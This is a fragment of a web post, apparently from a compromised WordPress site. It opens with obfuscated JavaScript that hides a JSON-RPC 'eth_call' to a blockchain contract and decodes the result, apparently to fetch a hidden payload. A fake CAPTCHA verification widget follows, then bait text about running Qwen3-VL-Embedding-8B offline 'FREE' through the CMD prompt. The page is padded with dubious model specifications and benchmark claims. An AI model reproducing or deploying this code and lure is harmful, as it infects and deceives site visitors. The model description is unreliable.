fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\"><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:22px;padding-left:17px;margin-left:0\">\n<li><strong>CPU:<\/strong> 8-core \/ 16-thread <strong>recommended for orchestration<\/strong><\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><b>Disk Space:<\/b> required: fast <b>PCIe 4.0<\/b> drive for instant boots<\/li>\n<li><b>Graphics:<\/b> stable <b>30+ tk\/s<\/b> at 4-bit quantization on medium setup<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3-VL-Embedding-8B<\/b> is a large-scale vision-language embedding model that leverages transformer architecture to generate unified representations for images and text. It achieves <i>state-of-the-art<\/i> performance on benchmark datasets such as <i>ImageNet<\/i> and <i>MSCOCO<\/i> while maintaining a compact footprint of <b>8\u202fB parameters<\/b>. The model integrates a <b>vision encoder<\/b> that processes high\u2011resolution inputs and a <b>language decoder<\/b> that aligns semantic contexts through contrastive learning. Its training pipeline combines <i>self\u2011supervised<\/i> image captioning and cross\u2011modal retrieval, enabling zero\u2011shot generalization to unseen domains. Compared to earlier embedding models, Qwen3-VL-Embedding-8B delivers <b>15\u202f% higher retrieval accuracy<\/b> and <b>20\u202f% faster inference<\/b> on standard hardware. This model is well\u2011suited for downstream tasks such as visual question answering, document indexing, and multimodal search.    <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>8\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Input modalities<\/b><\/td>\n<td>Images, text<\/td>\n<\/tr>\n<tr>\n<td><b>Training data<\/b><\/td>\n<td>Public image\u2011caption pairs + text corpora<\/td>\n<\/tr>\n<tr>\n<td><b>Benchmark (Recall@1)<\/b><\/td>\n<td>78.3\u202f% on MSCOCO<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Script automating visual encoder weight downloads for advanced multi-modal vision tasks<\/li>\n<li>Launch Qwen3-VL-Embedding-8B Offline on PC FREE<\/li>\n<li>Installer deploying local bark audio generation pipelines with custom speaker tokens<\/li>\n<li>Qwen3-VL-Embedding-8B Zero Config Offline Setup<\/li>\n<li>Installer deploying local real-time text-to-speech channels via ChatTTS library modules and pipelines<\/li>\n<li>How to Install Qwen3-VL-Embedding-8B on AMD\/Nvidia GPU Full Speed NPU Mode Easy Build Windows FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Setting up this model locally is incredibly fast if you use the native CMD prompt. Follow the step-by-step instructions below. The framework seamlessly downloads the massive neural network binaries. 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